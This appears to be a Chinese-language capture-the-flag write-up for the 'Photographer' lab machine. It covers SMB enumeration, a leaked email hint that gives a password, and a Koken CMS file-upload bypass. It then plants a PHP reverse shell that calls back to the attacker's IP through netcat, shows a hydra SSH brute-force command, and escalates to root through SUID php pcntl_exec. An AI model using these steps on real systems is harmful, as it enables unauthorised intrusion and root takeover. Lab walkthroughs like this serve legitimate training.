getwebshell
: SMB
免密访问 → 发现敏感邮箱 → 获得用户名以及密码 → 登录后台 → 文件上传getwebshell
提 权 思 路
: suid
权限文件查找 → php
之suid
提权
192.168.45.194
192.168.203.76
# tcp全端口扫描
sudo nmap --min-rate 10000 -p- 192.168.203.76
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8000/tcp open http-alt
# ucp全端口扫描
sudo nmap -sU --min-rate 10000 -p- 192.168.203.76
PORT STATE SERVICE
137/udp open netbios-ns
开放的端口Tcp-→22,80,139,445,8000
开放的端口Ucp-→137
# tcp探测
sudo nmap -sT -sV -O -sC -p22,80,139,445,8000 192.168.203.76
# udp探测
sudo nmap -sT -sV -O -sC -p137 192.168.203.76
PORT STATE SERVICE VERSION
137/tcp closed netbios-ns
开放的端口看起来有点小多,但是137,139,445端口的开放本质上就是SMB
服务的开放。 80与8000是http服务
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.2p2 Ubuntu
# 搜索对应脚本
msf6 → searchsploit OpenSSH 7.2p2
发现搜索到可利用的和用户枚举有关(待定)
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root @192.168.203.76 -v
显示publickey
、password
就是支持密钥以及密码登录
因为支持密码登录,尝试root
账户的密码弱密码尝试
sudo ssh root @192.168.203.76 -p 22
# 密码尝试
password → root
因为支持密码登录,尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.203.76 ssh -s 22
挂着工具进行爆破,我们尝试后续信息收集
访问 http://192.168.203.76:80
应该是一个标准的CMS
,还有作者
┌──(root㉿Kali)-[/home/bachang/Photographer]
└─# whatweb http://192.168.203.76:80
http://192.168.203.76:80 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.203.76], JQuery, Script, Title[Photographer by v1n1v131r4]
CMS
应该是Photographer
searchsploit Photographer
找了一下看上去不太像捏
# 利用html2text转换纯文本方便查看
curl http://192.168.203.76:80 | html2text
没什么隐藏信息
dirsearch -u http://192.168.203.76:80 -x 302,403
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
发现这里存在文件路径遍历
连接成功则SMB没有开启密码
# 利用-L查看SMB的内容
smbclient -L //192.168.203.76
# 利用获取到的[sambashare]直接进行访问查看内容
smbclient //192.168.203.76/sambashare -U root
发现了一个txt
以及一个zip
文件,zip
看上去是源码备份,太大了下载不了。
# 抓取用户名
enum4linux 192.168.203.76
# 创建一个文本测试上传
touch 1.txt
# 利用获取到的sambashare直接进行访问之后尝试使用PUT是否成功
smbclient //192.168.203.76/sambashare -U root
smb :\ → put 1.txt
里面只有一个文本可以查看
# cat mailsent.txt
Message-ID:
Date: Mon, 20 Jul 2020 11:40:36 -0400
From: Agi Clarence
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Daisa Ahomi
Subject: To Do - Daisa Website's
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Hi Daisa!
Your site is ready now.
Don't forget your secret, my babygirl ;)
大致内容是agi @photographer.com
写给daisa @photographer.com
???
应该是agi给daisa建了站,然后让daisa不要忘记密码 my babygirl ;)
推测密码和 my babygirl ;)
有关
访问 http://192.168.203.76:8000
不是CMS
我们直接从HTML
隐藏信息收集开始
# whatweb http://192.168.203.76:8000
http://192.168.203.76:8000 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.203.76], JQuery[1.12.4], Meta-Author[daisa ahomi], MetaGenerator[Koken 0.22.24], Script, Title[daisa ahomi], X-UA-Compatible[IE=edge]
得到了CSM
信息Koken 0.22.24
以及daisa ahomi
,应该是daisa
的站点
searchsploit Koken 0.22.24
发现了一条文件上传
cat /usr/share/exploitdb/exploits/php/webapps/48706.txt
利用burp
修改后缀进行上传绕过
访问对应提供的路径是404
,去掉了一级目录发现是个api
,应该需要先找到上传点,等目录扫描之后再看
# 利用html2text转换纯文本方便查看
curl http://192.168.203.76:8000 | html2text
dirsearch -u http://192.168.203.76:8000 -x 302,403
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
尝试访问几个端点
最终发现只有上传点可行 `http://192.168.203.76:8000/admin/index.html
得到了一个登录端点
发现存在登录端点时尝试的最佳实践指南
若存在目标的指纹
网上公开查找是否存在通用账号以及默认密码
该登录端点需要的是邮箱进行登录,之前的title我们知道8000是daisa
的站点
账号锁定为daisa @photographer.com
密码和 my babygirl ;)
有关
尝试进行登录
登录之后寻找和content
有关的端点,发现上传点的位置
# 利用cp命令cp一个kali自带的shell到当前文件夹并且命名为shell.jgp
sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.jpg
# 开启监听
sudo nc -lvnp 5555
反弹shell配置
# 利用grep确定修改反弹shell_ip的第49行
grep -n "127.0.0.1" shell.jpg
→ 49:$ip = '127.0.0.1'; // CHANGE THIS
# 同理监听端口是第50行
grep -n "1234" shell.php
50:$port = 1234; // CHANGE THIS
# 利用sed命令替换里面的内容
sed -i '49s/127.0.0.1/192.168.45.194/' shell.jpg
sed -i '50s/1234/5555/' shell.jpg
# 利用sed查看49与50行是否修改成功
sed -n '49,50p' shell.jpg
burp
进行后缀修改
curl http:\/\/192.168.203.76:8000\/storage\/originals\/78\/8c\/shell.php
访问成功反弹shell
由于获取的shell交互不友好,利用python获得新的交互shell
python -c "import pty;pty.spawn('/bin/bash')";
www-data @photographer:/$ find / -name local.txt 2→/dev/null
/home/daisa/local.txt
www-data @photographer:/$ cat /home/daisa/local.txt
a509b595ea9755912085875166c1b4e8
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
较老的Ubuntu
以及Linux系统可以overlayfs
提权
# 确定发行版本
www-data @photographer:/$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.6 LTS
Release: 16.04
Codename: xenial
发行版本为Ubuntu 16.04
,不太能overlayfs
提权
较低的内核版本可以进行脏牛
提权
www-data @photographer:/$ uname -a
Linux photographer 4.15.0-115-generic #116~16.04.1-Ubuntu SMP Wed Aug 26 17:36:48 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
内核版本为4.15.0
www-data @photographer:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
# 利用sudo -l寻找
sudo -l
发现需要密码
如果发现u=s
有东西的话 访问 https://gtfobins.github.io
寻找
# -perm 文件权限
www-data @photographer:/$ find / -perm -u=s -type f 2→/dev/null
find / -perm -u=s -type f 2→/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/sbin/pppd
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/php7.2
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/chfn
/bin/ping
/bin/fusermount
/bin/mount
/bin/ping6
/bin/umount
/bin/su
在suid
文件中发现一个脚本语言
如果发现有东西的话 访问 https://gtfobins.github.io 寻找
sudo install -m =xs $(which php) .
CMD="/bin/sh"
./php -r "pcntl_exec('/bin/sh', ['-p']);"
修改一下成功进行提权
www-data @photographer:/$ php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
# cat /root/proof.txt
da9106af9eb8e2c891067610b1522ace
这个敏感信息中的密码格式蛮奇怪的
My xxxxx ;)
格式的时候留意一下 xxxxx
可能是密码
;)
这个应该是颜表情,为啥不:-)